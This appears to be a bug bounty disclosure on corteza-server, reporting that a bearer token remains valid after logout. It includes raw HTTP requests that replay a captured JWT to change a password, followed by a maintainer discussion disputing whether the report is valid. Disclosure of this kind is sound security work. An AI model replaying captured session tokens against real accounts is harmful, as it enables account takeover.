Use of a Key Past its Expiration Date in cortezaproject/corteza-server
Reported on
Oct 2nd 2021
Setup the application on your local system.
Steps:
- Login in application and navigate to the settings, where change the user password and capture the request in burp suit.
- Now logout from application and copy the Authorization token.
- After logout the authorization token must be invalidated, but in this case the Authorization token is not getting expired.
Scenario:
Request when user in logged in:
POST /api/system/auth/internal/change-password HTTP/1.1
Host: 127.0.0.1:18080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MzU3NjQ3NzksInVzZXJJRCI6IjI1MTU2MDM5MzU5ODU2NjQwNCJ9.ji6LdCdBoSw_OPdzfgvkuefJDdXh6vhp28_s6mCBsxg
Content-Length: 55
Origin: http://127.0.0.1:18080
Connection: close
Referer: http://127.0.0.1:18080/auth/change-password
{"oldPassword":"xxx","newPassword":"xxx"}
Response when user in logged in:
HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: http://127.0.0.1:18080
Content-Type: application/json
Vary: Origin
X-Request-Id: b8bd6334f332/gZu5uijNub-000329
Date: Sat, 02 Oct 2021 11:23:34 GMT
Content-Length: 18
Connection: close
{"response":true}
Request after user in logged out:
POST /api/system/auth/internal/change-password HTTP/1.1
Host: 127.0.0.1:18080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MzU3NjQ3NzksInVzZXJJRCI6IjI1MTU2MDM5MzU5ODU2NjQwNCJ9.ji6LdCdBoSw_OPdzfgvkuefJDdXh6vhp28_s6mCBsxg
Content-Length: 55
Origin: http://127.0.0.1:18080
Connection: close
Referer: http://127.0.0.1:18080/auth/change-password
{"oldPassword":"xxx","newPassword":"xxx"}
Response after user in logged out:
HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: http://127.0.0.1:18080
Content-Type: application/json
Vary: Origin
X-Request-Id: b8bd6334f332/gZu5uijNub-000329
Date: Sat, 02 Oct 2021 11:23:34 GMT
Content-Length: 18
Connection: close
{"response":true}
An attacker can change victim passwords once it has his authorization token. (Getting authorization token is quite hard but once attacker get hold of it he can use it whenever he wants to takeover the victims account)
Thanks for reporting. What version did you test this on? We improved the way tokens are stored and handled and I can't recall if this case was also addressed. I'll get one of our guys to validate this; in the meantime, could you please let me know what version this was on?
Hi, thanks for the reply. Sorry Currently I dont have the application on my machine, I deleted the application after days of reporting. You can check the version and match with the date when I reported the issue.
(same reply as on https://huntr.dev/bounties/ff374a1b-4975-43eb-9232-496a5ad9b18b/)
The reported flow holds, but we are not planning on changing it. A user has an option to revoke their sessions at any point if they decide to do so, but we will not revoke them automatically for such cases.
We might add a popup (or something) to ask the user to revoke the sessions for cases such as password changes or logout for a nicer UX (something similar to what Facebook does IIRC).
@admin should this disclosure be considered valid? For us, we would say no.
@Tomaz - if you believe a report is not valid, feel free to mark it as invalid. The buck ends with the maintainer, and that is you!
For example, if you believe that a provided PoC does not have any form of security implication to the user, we would encourage the report to be marked as invalid.